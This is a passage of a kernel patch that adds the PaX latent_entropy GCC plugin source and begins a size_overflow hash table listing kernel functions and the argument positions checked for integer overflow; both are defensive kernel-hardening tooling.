+0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/latent_entropy_plugin.c 2012-10-15 17:30:59.831924531 +0000 +@@ -0,0 +1,295 @@ ++/* ++ * Copyright 2012 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to help generate a little bit of entropy from program state, ++ * used during boot in the kernel ++ * ++ * TODO: ++ * - add ipa pass to identify not explicitly marked candidate functions ++ * - mix in more program state (function arguments/return values, loop variables, etc) ++ * - more instrumentation control via attribute parameters ++ * ++ * BUGS: ++ * - LTO needs -flto-partition=none for now ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++int plugin_is_GPL_compatible; ++ ++static tree latent_entropy_decl; ++ ++static struct plugin_info latent_entropy_plugin_info = { ++ .version = "201207271820", ++ .help = NULL ++}; ++ ++static unsigned int execute_latent_entropy(void); ++static bool gate_latent_entropy(void); ++ ++static struct gimple_opt_pass latent_entropy_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "latent_entropy", ++ .gate = gate_latent_entropy, ++ .execute = execute_latent_entropy, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_gimple_leh | PROP_cfg, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa ++ } ++}; ++ ++static tree handle_latent_entropy_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ if (TREE_CODE(*node) != FUNCTION_DECL) { ++ *no_add_attrs = true; ++ error("%qE attribute only applies to functions", name); ++ } ++ return NULL_TREE; ++} ++ ++static struct attribute_spec latent_entropy_attr = { ++ .name = "latent_entropy", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_latent_entropy_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static void register_attributes(void *event_data, void *data) ++{ ++ register_attribute(&latent_entropy_attr); ++} ++ ++static bool gate_latent_entropy(void) ++{ ++ tree latent_entropy_attr; ++ ++ latent_entropy_attr = lookup_attribute("latent_entropy", DECL_ATTRIBUTES(current_function_decl)); ++ return latent_entropy_attr != NULL_TREE; ++} ++ ++static unsigned HOST_WIDE_INT seed; ++static unsigned HOST_WIDE_INT get_random_const(void) ++{ ++ seed = (seed >> 1U) ^ (-(seed & 1ULL) & 0xD800000000000000ULL); ++ return seed; ++} ++ ++static enum tree_code get_op(tree *rhs) ++{ ++ static enum tree_code op; ++ unsigned HOST_WIDE_INT random_const; ++ ++ random_const = get_random_const(); ++ ++ switch (op) { ++ case BIT_XOR_EXPR: ++ op = PLUS_EXPR; ++ break; ++ ++ case PLUS_EXPR: ++ if (rhs) { ++ op = LROTATE_EXPR; ++ random_const &= HOST_BITS_PER_WIDE_INT - 1; ++ break; ++ } ++ ++ case LROTATE_EXPR: ++ default: ++ op = BIT_XOR_EXPR; ++ break; ++ } ++ if (rhs) ++ *rhs = build_int_cstu(unsigned_intDI_type_node, random_const); ++ return op; ++} ++ ++static void perturb_local_entropy(basic_block bb, tree local_entropy) ++{ ++ gimple_stmt_iterator gsi; ++ gimple assign; ++ tree addxorrol, rhs; ++ enum tree_code op; ++ ++ op = get_op(&rhs); ++ addxorrol = fold_build2_loc(UNKNOWN_LOCATION, op, unsigned_intDI_type_node, local_entropy, rhs); ++ assign = gimple_build_assign(local_entropy, addxorrol); ++ find_referenced_vars_in(assign); ++//debug_bb(bb); ++ gsi = gsi_after_labels(bb); ++ gsi_insert_before(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++} ++ ++static void perturb_latent_entropy(basic_block bb, tree rhs) ++{ ++ gimple_stmt_iterator gsi; ++ gimple assign; ++ tree addxorrol, temp; ++ ++ // 1. create temporary copy of latent_entropy ++ temp = create_tmp_var(unsigned_intDI_type_node, "temp_latent_entropy"); ++ add_referenced_var(temp); ++ mark_sym_for_renaming(temp); ++ ++ // 2. read... ++ assign = gimple_build_assign(temp, latent_entropy_decl); ++ find_referenced_vars_in(assign); ++ gsi = gsi_after_labels(bb); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ ++ // 3. ...modify... ++ addxorrol = fold_build2_loc(UNKNOWN_LOCATION, get_op(NULL), unsigned_intDI_type_node, temp, rhs); ++ assign = gimple_build_assign(temp, addxorrol); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ ++ // 4. ...write latent_entropy ++ assign = gimple_build_assign(latent_entropy_decl, temp); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++} ++ ++static unsigned int execute_latent_entropy(void) ++{ ++ basic_block bb; ++ gimple assign; ++ gimple_stmt_iterator gsi; ++ tree local_entropy; ++ ++ if (!latent_entropy_decl) { ++ struct varpool_node *node; ++ ++ for (node = varpool_nodes; node; node = node->next) { ++ tree var = node->decl; ++ if (strcmp(IDENTIFIER_POINTER(DECL_NAME(var)), "latent_entropy")) ++ continue; ++ latent_entropy_decl = var; ++// debug_tree(var); ++ break; ++ } ++ if (!latent_entropy_decl) { ++// debug_tree(current_function_decl); ++ return 0; ++ } ++ } ++ ++//fprintf(stderr, "latent_entropy: %s\n", IDENTIFIER_POINTER(DECL_NAME(current_function_decl))); ++ ++ // 1. create local entropy variable ++ local_entropy = create_tmp_var(unsigned_intDI_type_node, "local_entropy"); ++ add_referenced_var(local_entropy); ++ mark_sym_for_renaming(local_entropy); ++ ++ // 2. initialize local entropy variable ++ bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR); ++ gsi = gsi_start_bb(bb); ++ ++ assign = gimple_build_assign(local_entropy, build_int_cstu(unsigned_intDI_type_node, get_random_const())); ++// gimple_set_location(assign, loc); ++ find_referenced_vars_in(assign); ++ gsi_insert_after(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ bb = bb->next_bb; ++ ++ // 3. instrument each BB with an operation on the local entropy variable ++ while (bb != EXIT_BLOCK_PTR) { ++ perturb_local_entropy(bb, local_entropy); ++ bb = bb->next_bb; ++ }; ++ ++ // 4. mix local entropy into the global entropy variable ++ perturb_latent_entropy(EXIT_BLOCK_PTR->prev_bb, local_entropy); ++ return 0; ++} ++ ++static void start_unit_callback(void *gcc_data, void *user_data) ++{ ++#if BUILDING_GCC_VERSION >= 4007 ++ seed = get_random_seed(false); ++#else ++ sscanf(get_random_seed(false), "%" HOST_WIDE_INT_PRINT "x", &seed); ++ seed *= seed; ++#endif ++ ++ if (in_lto_p) ++ return; ++ ++ // extern u64 latent_entropy ++ latent_entropy_decl = build_decl(UNKNOWN_LOCATION, VAR_DECL, get_identifier("latent_entropy"), unsigned_intDI_type_node); ++ ++ TREE_STATIC(latent_entropy_decl) = 1; ++ TREE_PUBLIC(latent_entropy_decl) = 1; ++ TREE_USED(latent_entropy_decl) = 1; ++ TREE_THIS_VOLATILE(latent_entropy_decl) = 1; ++ DECL_EXTERNAL(latent_entropy_decl) = 1; ++ DECL_ARTIFICIAL(latent_entropy_decl) = 0; ++ DECL_INITIAL(latent_entropy_decl) = NULL; ++// DECL_ASSEMBLER_NAME(latent_entropy_decl); ++// varpool_finalize_decl(latent_entropy_decl); ++// varpool_mark_needed_node(latent_entropy_decl); ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info latent_entropy_pass_info = { ++ .pass = &latent_entropy_pass.pass, ++ .reference_pass_name = "optimized", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &latent_entropy_plugin_info); ++ register_callback ("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &latent_entropy_pass_info); ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/size_overflow_hash.data compat-wireless-3.6-rc7-1-snpc/tools/gcc/size_overflow_hash.data +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/size_overflow_hash.data 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/size_overflow_hash.data 2012-10-15 17:30:59.834924531 +0000 +@@ -0,0 +1,3597 @@ ++_000001_hash alloc_dr 2 65495 _000001_hash NULL ++_000002_hash __copy_from_user 3 10918 _000002_hash NULL ++_000003_hash copy_from_user 3 17559 _000003_hash NULL ++_000004_hash __copy_from_user_inatomic 3 4365 _000004_hash NULL ++_000005_hash __copy_from_user_nocache 3 39351 _000005_hash NULL ++_000006_hash __copy_to_user_inatomic 3 19214 _000006_hash NULL ++_000007_hash do_xip_mapping_read 5 60297 _000007_hash NULL ++_000008_hash hugetlbfs_read 3 11268 _000008_hash NULL ++_000009_hash kmalloc 1 60432 _003302_hash NULL nohasharray ++_000010_hash kmalloc_array 1-2 9444 _000010_hash NULL ++_000012_hash __kmalloc_reserve 1 17080 _000012_hash NULL ++_000013_hash kmalloc_slab 1 11917 _000013_hash NULL ++_000014_hash kmemdup 2 64015 _000014_hash NULL ++_000015_hash __krealloc 2 14857 _000340_hash NULL nohasharray ++_000016_hash memdup_user 2 59590 _000016_hash NULL ++_000017_hash module_alloc 1 63630 _000017_hash NULL ++_000018_hash read_default_ldt 2 14302 _000018_hash NULL ++_000019_hash read_kcore 3 63488 _000019_hash NULL ++_000020_hash read_ldt 2 47570 _000020_hash NULL ++_000021_hash read_zero 3 19366 _000021_hash NULL ++_000022_hash __vmalloc_node 1 39308 _000022_hash NULL ++_000023_hash aac_convert_sgraw2 4 51598 _000023_hash NULL ++_000024_hash aa_simple_write_to_buffer 4-3 49683 _000024_hash NULL ++_000025_hash ablkcipher_copy_iv 3 64140 _000025_hash NULL ++_000026_hash ablkcipher_next_slow 3-4 47274 _000026_hash NULL ++_000028_hash acpi_battery_write_alarm 3 1240 _000028_hash NULL ++_000029_hash acpi_os_allocate 1 14892 _000029_hash NULL ++_000030_hash acpi_system_write_wakeup_device 3 34853 _000030_hash NULL ++_000031_hash adu_write 3 30487 _000031_hash NULL ++_000032_hash aer_inject_write 3 52399 _000032_hash NULL ++_000033_hash afs_alloc_flat_call 2-3 36399 _000033_hash NULL ++_000035_hash afs_proc_cells_write 3 61139 _000035_hash NULL ++_000036_hash afs_proc_rootcell_write 3 15822 _000036_hash NULL ++_000037_hash agp_3_5_isochronous_node_enable 3 49465 _000037_hash NULL ++_000038_hash agp_alloc_page_array 1 22554 _000038_hash NULL ++_000039_hash ah_alloc_tmp 2-3 54378 _000039_hash NULL ++_000041_hash ahash_setkey_unaligned 3 33521 _000041_hash NULL ++_000042_hash alg_setkey 3 31485 _000042_hash NULL ++_000043_hash aligned_kmalloc 1 3628 _000043_hash NULL ++_000044_hash alloc_context 1 3194 _000044_hash NULL ++_000045_hash alloc_ep_req 2 54860 _000045_hash NULL ++_000046_hash alloc_fdmem 1 27083 _000046_hash NULL ++_000047_hash alloc_flex_gd 1 57259 _000047_hash NULL ++_000048_hash alloc_sglist 1-3-2 22960 _000048_hash NULL ++_000049_hash __alloc_skb 1 23940 _000049_hash NULL ++_000050_hash aoedev_flush 2 44398 _000050_hash NULL ++_000051_hash append_to_buffer 3 63550 _000051_hash NULL ++_000052_hash asix_read_cmd 5 13245 _000052_hash NULL ++_000053_hash asix_write_cmd 5 58192 _000053_hash NULL ++_000054_hash at76_set_card_command 4 4471 _000054_hash NULL ++_000055_hash ath6kl_add_bss_if_needed 6 24317 _000055_hash NULL ++_000056_hash ath6kl_debug_roam_tbl_event 3 5224 _000056_hash NULL ++_000057_hash ath6kl_mgmt_powersave_ap 6 13791 _000057_hash NULL ++_000058_hash ath6kl_send_go_probe_resp 3 21113 _000058_hash NULL ++_000059_hash ath6kl_set_ap_probe_resp_ies 3 50539 _000059_hash NULL ++_000060_hash ath6kl_set_assoc_req_ies 3 43185 _000060_hash NULL ++_000061_hash ath6kl_wmi_bssinfo_event_rx 3 2275 _000061_hash NULL ++_000062_hash ath6kl_wmi_send_action_cmd 7 58860 _000062_hash NULL ++_000063_hash __ath6kl_wmi_send_mgmt_cmd 7 38971 _000063_hash NULL ++_000064_hash attach_hdlc_protocol 3 19986 _000064_hash NULL ++_000065_hash audio_write 4 54261 _001782_hash NULL nohasharray ++_000066_hash audit_unpack_string 3 13748 _000066_hash NULL ++_000067_hash ax25_setsockopt 5 42740 _000067_hash NULL ++_000068_hash b43_debugfs_write 3 34838 _000068_hash NULL ++_000069_hash b43legacy_debugfs_write 3 28556 _000069_hash NULL ++_000070_hash batadv_hash_new 1 40491 _000070_hash NULL ++_000071_hash batadv_orig_node_add_if 2 18433 _000071_hash NULL ++_000072_hash batadv_orig_node_del_if 2 4 _000072_hash NULL ++_000073_hash batadv_tt_changes_fill_buff 4 40323 _000073_hash NULL ++_000074_hash batadv_tt_realloc_packet_buff 4 49960 _000074_hash NULL ++_000075_hash bch_alloc 1 4593 _000075_hash NULL ++_000076_hash befs_nls2utf 3 17163 _000076_hash NULL ++_000077_hash befs_utf2nls 3 25628 _000077_hash NULL ++_000078_hash bfad_debugfs_write_regrd 3 15218 _000078_hash NULL ++_000079_hash bfad_debugfs_write_regwr 3 61841 _000079_hash NULL ++_000080_hash bio_alloc_map_data 1-2 50782 _000080_hash NULL ++_000082_hash bio_kmalloc 2 54672 _000082_hash NULL ++_000083_hash bitmap_storage_alloc 2 55077 _000083_hash NULL ++_000084_hash blkcipher_copy_iv 3 24075 _000084_hash NULL ++_000085_hash blkcipher_next_slow 3-4 52733 _000085_hash NULL ++_000087_hash bl_pipe_downcall 3 34264 _000087_hash NULL ++_000088_hash bnad_debugfs_write_regrd 3 6706 _000088_hash NULL ++_000089_hash bnad_debugfs_write_regwr 3 57500 _000089_hash NULL ++_000090_hash bnx2fc_cmd_mgr_alloc 2-3 24873 _000090_hash NULL ++_000092_hash bnx2fc_process_unsol_compl 2 15576 _000092_hash NULL ++_000093_hash bnx2_nvram_write 2-4 7790 _000093_hash NULL ++_000095_hash btmrvl_gpiogap_write 3 35053 _000095_hash NULL ++_000096_hash btmrvl_hscfgcmd_write 3 27143 _000096_hash NULL ++_000097_hash btmrvl_hscmd_write 3 27089 _000097_hash NULL ++_000098_hash btmrvl_hsmode_write 3 42252 _000098_hash NULL ++_000099_hash btmrvl_pscmd_write 3 29504 _000099_hash NULL ++_000100_hash btmrvl_psmode_write 3 3703 _000100_hash NULL ++_000101_hash btrfs_alloc_delayed_item 1 11678 _000101_hash NULL ++_000102_hash c4iw_id_table_alloc 3 48163 _000102_hash NULL ++_000103_hash cache_do_downcall 3 6926 _000103_hash NULL ++_000104_hash cachefiles_cook_key 2 33274 _000104_hash NULL ++_000105_hash cachefiles_daemon_write 3 43535 _000105_hash NULL ++_000106_hash capi_write 3 35104 _003607_hash NULL nohasharray ++_000107_hash carl9170_debugfs_write 3 50857 _000107_hash NULL ++_000108_hash cciss_allocate_sg_chain_blocks 2-3 5368 _000108_hash NULL ++_000110_hash cciss_proc_write 3 10259 _000110_hash NULL ++_000111_hash cdrom_read_cdda_old 4 27664 _000111_hash NULL ++_000112_hash ceph_alloc_page_vector 1 18710 _000112_hash NULL ++_000113_hash ceph_buffer_new 1 35974 _000113_hash NULL ++_000114_hash ceph_copy_user_to_page_vector 3-4 656 _000114_hash NULL ++_000116_hash ceph_get_direct_page_vector 2 41917 _000116_hash NULL ++_000117_hash ceph_msg_new 2 5846 _000117_hash NULL ++_000118_hash ceph_setxattr 4 18913 _000118_hash NULL ++_000119_hash cfi_read_pri 3 24366 _000119_hash NULL ++_000120_hash cgroup_write_string 5 10900 _000120_hash NULL ++_000121_hash cgroup_write_X64 5 54514 _000121_hash NULL ++_000122_hash change_xattr 5 61390 _000122_hash NULL ++_000123_hash check_load_and_stores 2 2143 _000123_hash NULL ++_000124_hash cifs_idmap_key_instantiate 3 54503 _000124_hash NULL ++_000125_hash cifs_security_flags_proc_write 3 5484 _000125_hash NULL ++_000126_hash cifs_setxattr 4 23957 _000126_hash NULL ++_000127_hash cifs_spnego_key_instantiate 3 23588 _000127_hash NULL ++_000128_hash cld_pipe_downcall 3 15058 _000128_hash NULL ++_000129_hash clear_refs_write 3 61904 _000129_hash NULL ++_000130_hash clusterip_proc_write 3 44729 _000130_hash NULL ++_000131_hash cm4040_write 3 58079 _000131_hash NULL ++_000132_hash cm_copy_private_data 2 3649 _000132_hash NULL ++_000133_hash cmm_write 3 2896 _000133_hash NULL ++_000134_hash cm_write 3 36858 _000134_hash NULL ++_000135_hash coda_psdev_write 3 1711 _000135_hash NULL ++_000136_hash codec_reg_read_file 3 36280 _000136_hash NULL ++_000137_hash command_file_write 3 31318 _000137_hash NULL ++_000138_hash command_write 3 58841 _000138_hash NULL ++_000139_hash comm_write 3 44537 _001714_hash NULL nohasharray ++_000140_hash concat_writev 3 21451 _000140_hash NULL ++_000141_hash copy_and_check 3 19089 _000141_hash NULL ++_000142_hash copy_from_user_toio 3 31966 _000142_hash NULL ++_000143_hash copy_items 6 50140 _000143_hash NULL ++_000144_hash copy_macs 4 45534 _000144_hash NULL ++_000145_hash __copy_to_user 3 17551 _000145_hash NULL ++_000146_hash copy_vm86_regs_from_user 3 45340 _000146_hash NULL ++_000147_hash core_sys_select 1 47494 _000147_hash NULL ++_000148_hash cosa_write 3 1774 _000148_hash NULL ++_000149_hash cp210x_set_config 4 46447 _000149_hash NULL ++_000150_hash create_entry 2 33479 _000150_hash NULL ++_000151_hash create_queues 2-3 9088 _000151_hash NULL ++_000153_hash create_xattr 5 54106 _000153_hash NULL ++_000154_hash create_xattr_datum 5 33356 _003443_hash NULL nohasharray ++_000155_hash csum_partial_copy_fromiovecend 3-4 9957 _000155_hash NULL ++_000157_hash ctrl_out 3-5 8712 _000157_hash NULL ++_000159_hash cxacru_cm_get_array 4 4412 _000159_hash NULL ++_000160_hash cxgbi_alloc_big_mem 1 4707 _000160_hash NULL ++_000161_hash dac960_user_command_proc_write 3 3071 _000161_hash NULL ++_000162_hash datablob_format 2 39571 _002490_hash NULL nohasharray ++_000163_hash dccp_feat_clone_sp_val 3 11942 _000163_hash NULL ++_000164_hash dccp_setsockopt_ccid 4 30701 _000164_hash NULL ++_000165_hash dccp_setsockopt_cscov 2 37766 _000165_hash NULL ++_000166_hash dccp_setsockopt_service 4 65336 _000166_hash NULL ++_000167_hash ddebug_proc_write 3 18055 _000167_hash NULL ++_000168_hash dev_config 3 8506 _000168_hash NULL ++_000169_hash device_write 3 45156 _000169_hash NULL ++_000170_hash devm_kzalloc 2 4966 _000170_hash NULL ++_000171_hash devres_alloc 2 551 _000171_hash NULL ++_000172_hash dfs_file_write 3 41196 _000172_hash NULL ++_000173_hash direct_entry 3 38836 _000173_hash NULL ++_000174_hash dispatch_ioctl 2 32357 _000174_hash NULL ++_000175_hash dispatch_proc_write 3 44320 _000175_hash NULL ++_000176_hash diva_os_copy_from_user 4 7792 _000176_hash NULL ++_000177_hash dlm_alloc_pagevec 1 54296 _000177_hash NULL ++_000178_hash dlmfs_file_read 3 28385 _000178_hash NULL ++_000179_hash dlmfs_file_write 3 6892 _000179_hash NULL ++_000180_hash dm_read 3 15674 _000180_hash NULL ++_000181_hash dm_write 3 2513 _000181_hash NULL ++_000182_hash __dn_setsockopt 5 13060 _000182_hash NULL ++_000183_hash dns_query 3 9676 _000183_hash NULL ++_000184_hash dns_resolver_instantiate 3 63314 _000184_hash NULL ++_000185_hash do_add_counters 3 3992 _000185_hash NULL ++_000186_hash __do_config_autodelink 3 58763 _000186_hash NULL ++_000187_hash do_ip_setsockopt 5 41852 _000187_hash NULL ++_000188_hash do_ipv6_setsockopt 5 18215 _000188_hash NULL ++_000189_hash do_ip_vs_set_ctl 4 48641 _000189_hash NULL ++_000190_hash do_kimage_alloc 3 64827 _000190_hash NULL ++_000191_hash do_register_entry 4 29478 _000191_hash NULL ++_000192_hash do_tty_write 5 44896 _000192_hash NULL ++_000193_hash do_update_counters 4 2259 _000193_hash NULL ++_000194_hash dsp_write 2 46218 _000194_hash NULL ++_000195_hash dup_to_netobj 3 26363 _000195_hash NULL ++_000196_hash dwc3_link_state_write 3 12641 _000196_hash NULL ++_000197_hash dwc3_mode_write 3 51997 _000197_hash NULL ++_000198_hash dwc3_testmode_write 3 30516 _000198_hash NULL ++_000199_hash ecryptfs_copy_filename 4 11868 _000199_hash NULL ++_000200_hash ecryptfs_miscdev_write 3 26847 _000200_hash NULL ++_000201_hash ecryptfs_send_miscdev 2 64816 _000201_hash NULL ++_000202_hash efx_tsoh_heap_alloc 2 58545 _000202_hash NULL ++_000203_hash emi26_writememory 4 57908 _000203_hash NULL ++_000204_hash emi62_writememory 4 29731 _000204_hash NULL ++_000205_hash encrypted_instantiate 3 3168 _000205_hash NULL ++_000206_hash encrypted_update 3 13414 _000206_hash NULL ++_000207_hash ep0_write 3 14536 _001422_hash NULL nohasharray ++_000208_hash ep_read 3 58813 _000208_hash NULL ++_000209_hash ep_write 3 59008 _000209_hash NULL ++_000210_hash erst_dbg_write 3 46715 _000210_hash NULL ++_000211_hash esp_alloc_tmp 2-3 40558 _000211_hash NULL ++_000213_hash evdev_do_ioctl 2 24459 _000213_hash NULL ++_000214_hash exofs_read_lookup_dev_table 3 17733 _000214_hash NULL ++_000215_hash ext4_kvmalloc 1 14796 _000215_hash NULL ++_000216_hash ezusb_writememory 4 45976 _000216_hash NULL ++_000217_hash fanotify_write 3 64623 _000217_hash NULL ++_000218_hash fd_copyin 3 56247 _000218_hash NULL ++_000219_hash ffs_epfile_io 3 64886 _000219_hash NULL ++_000220_hash ffs_prepare_buffer 2 59892 _000220_hash NULL ++_000221_hash f_hidg_write 3 7932 _000221_hash NULL ++_000222_hash file_read_actor 4 1401 _000222_hash NULL ++_000223_hash fill_write_buffer 3 3142 _000223_hash NULL ++_000224_hash __find_xattr 6 2117 _002425_hash NULL nohasharray ++_000225_hash fl_create 5 56435 _000225_hash NULL ++_000226_hash fs_path_ensure_buf 2 59445 _000226_hash NULL ++_000227_hash ftdi_elan_write 3 57309 _000227_hash NULL ++_000228_hash fw_iso_buffer_alloc 2 13704 _000228_hash NULL ++_000229_hash garmin_write_bulk 3 58191 _000229_hash NULL ++_000230_hash garp_attr_create 3 3883 _000230_hash NULL ++_000231_hash get_arg 3 5694 _000231_hash NULL ++_000232_hash getdqbuf 1 62908 _000232_hash NULL ++_000233_hash get_fdb_entries 3 41916 _000233_hash NULL ++_000234_hash get_fd_set 1 3866 _000234_hash NULL ++_000235_hash get_indirect_ea 4 51869 _000235_hash NULL ++_000236_hash get_registers 3 26187 _000236_hash NULL ++_000237_hash get_scq 2 10897 _000237_hash NULL ++_000238_hash get_server_iovec 2 16804 _000238_hash NULL ++_000239_hash get_ucode_user 3 38202 _000239_hash NULL ++_000240_hash get_user_cpu_mask 2 14861 _000240_hash NULL ++_000241_hash gfs2_alloc_sort_buffer 1 18275 _000241_hash NULL ++_000242_hash gfs2_glock_nq_m 1 20347 _000242_hash NULL ++_000243_hash gigaset_initcs 2 43753 _000243_hash NULL ++_000244_hash gigaset_initdriver 2 1060 _000244_hash NULL ++_000245_hash groups_alloc 1 7614 _000245_hash NULL ++_000246_hash gs_alloc_req 2 58883 _000246_hash NULL ++_000247_hash gs_buf_alloc 2 25067 _000247_hash NULL ++_000248_hash gsm_data_alloc 3 42437 _000248_hash NULL ++_000249_hash gss_pipe_downcall 3 23182 _000249_hash NULL ++_000250_hash handle_request 9 10024 _000250_hash NULL ++_000251_hash hashtab_create 3 33769 _000251_hash NULL ++_000252_hash hcd_buffer_alloc 2 27495 _000252_hash NULL ++_000253_hash hci_sock_setsockopt 5 28993 _000253_hash NULL ++_000254_hash heap_init 2 49617 _000254_hash NULL ++_000255_hash hest_ghes_dev_register 1 46766 _000255_hash NULL ++_000256_hash hidg_alloc_ep_req 2 10159 _000256_hash NULL ++_000257_hash hid_parse_report 3 51737 _000257_hash NULL ++_000258_hash hidraw_get_report 3 45609 _000258_hash NULL ++_000259_hash hidraw_report_event 3 20503 _000259_hash NULL ++_000260_hash hidraw_send_report 3 23449 _000260_hash NULL ++_000261_hash hpfs_translate_name 3 41497 _000261_hash NULL ++_000262_hash hysdn_conf_write 3 52145 _000262_hash NULL ++_000263_hash __i2400mu_send_barker 3 23652 _000263_hash NULL ++_000264_hash i2cdev_read 3 1206 _000264_hash NULL ++_000265_hash i2cdev_write 3 23310 _000265_hash NULL ++_000266_hash i2o_parm_field_get 5 34477 _000266_hash NULL ++_000267_hash i2o_parm_table_get 6 61635 _000267_hash NULL ++_000268_hash ib_copy_from_udata 3 59502 _000268_hash NULL ++_000269_hash ib_ucm_alloc_data 3 36885 _000269_hash NULL ++_000270_hash ib_umad_write 3 47993 _000270_hash NULL ++_000271_hash ib_uverbs_unmarshall_recv 5 12251 _000271_hash NULL ++_000272_hash icn_writecmd 2 38629 _000272_hash NULL ++_000273_hash ide_driver_proc_write 3 32493 _000273_hash NULL ++_000274_hash ide_settings_proc_write 3 35110 _000274_hash NULL ++_000275_hash idetape_chrdev_write 3 53976 _000275_hash NULL ++_000276_hash idmap_pipe_downcall 3 14591 _000276_hash NULL ++_000277_hash ieee80211_build_probe_req 7-5 27660 _000277_hash NULL ++_000278_hash ieee80211_if_write 3 34894 _000278_hash NULL ++_000279_hash if_write 3 51756 _000279_hash NULL ++_000280_hash ilo_write 3 64378 _000280_hash NULL ++_000281_hash ima_write_policy 3 40548 _000281_hash NULL ++_000282_hash init_data_container 1 60709 _000282_hash NULL ++_000283_hash init_send_hfcd 1 34586 _000283_hash NULL ++_000284_hash insert_dent 7 65034 _000284_hash NULL ++_000285_hash interpret_user_input 2 19393 _000285_hash NULL ++_000286_hash int_proc_write 3 39542 _000286_hash NULL ++_000287_hash ioctl_private_iw_point 7 1273 _000287_hash NULL ++_000288_hash iov_iter_copy_from_user 4 31942 _000288_hash NULL ++_000289_hash iov_iter_copy_from_user_atomic 4 56368 _000289_hash NULL ++_000290_hash iowarrior_write 3 18604 _000290_hash NULL ++_000291_hash ipc_alloc 1 1192 _000291_hash NULL ++_000292_hash ipc_rcu_alloc 1 21208 _000292_hash NULL ++_000293_hash ip_options_get_from_user 4 64958 _000293_hash NULL ++_000294_hash ipv6_renew_option 3 38813 _000294_hash NULL ++_000295_hash ip_vs_conn_fill_param_sync 6 29771 _001898_hash NULL nohasharray ++_000296_hash ip_vs_create_timeout_table 2 64478 _000296_hash NULL ++_000297_hash ipw_queue_tx_init 3 49161 _000297_hash NULL ++_000298_hash irda_setsockopt 5 19824 _000298_hash NULL ++_000299_hash irias_new_octseq_value 2 13596 _003821_hash NULL nohasharray ++_000300_hash irnet_ctrl_write 3 24139 _000300_hash NULL ++_000301_hash isdn_add_channels 3 40905 _000301_hash NULL ++_000302_hash isdn_ppp_fill_rq 2 41428 _000302_hash NULL ++_000303_hash isdn_ppp_write 4 29109 _000303_hash NULL ++_000304_hash isdn_read 3 50021 _000304_hash NULL ++_000305_hash isdn_v110_open 3 2418 _000305_hash NULL ++_000306_hash isdn_writebuf_stub 4 52383 _000306_hash NULL ++_000307_hash islpci_mgt_transmit 5 34133 _000307_hash NULL ++_000308_hash iso_callback 3 43208 _000308_hash NULL ++_000309_hash iso_packets_buffer_init 3-4 29061 _000309_hash NULL ++_000310_hash it821x_firmware_command 3 8628 _000310_hash NULL ++_000311_hash iwch_alloc_fastreg_pbl 2 40153 _000311_hash NULL ++_000312_hash iwl_calib_set 3 34400 _003754_hash NULL nohasharray ++_000313_hash jbd2_journal_init_revoke_table 1 36336 _000313_hash NULL ++_000314_hash jffs2_alloc_full_dirent 1 60179 _001158_hash NULL nohasharray ++_000315_hash journal_init_revoke_table 1 56331 _000315_hash NULL ++_000316_hash kcalloc 1-2 27770 _000316_hash NULL ++_000318_hash keyctl_instantiate_key_common 4 47889 _000318_hash NULL ++_000319_hash keyctl_update_key 3 26061 _000319_hash NULL ++_000320_hash __kfifo_alloc 2-3 22173 _000320_hash NULL ++_000322_hash kfifo_copy_from_user 3 5091 _000322_hash NULL ++_000323_hash kmalloc_node 1 50163 _003818_hash NULL nohasharray ++_000324_hash kmalloc_parameter 1 65279 _000324_hash NULL ++_000325_hash kmem_alloc 1 31920 _000325_hash NULL ++_000326_hash kobj_map 2-3 9566 _000326_hash NULL ++_000328_hash kone_receive 4 4690 _000328_hash NULL 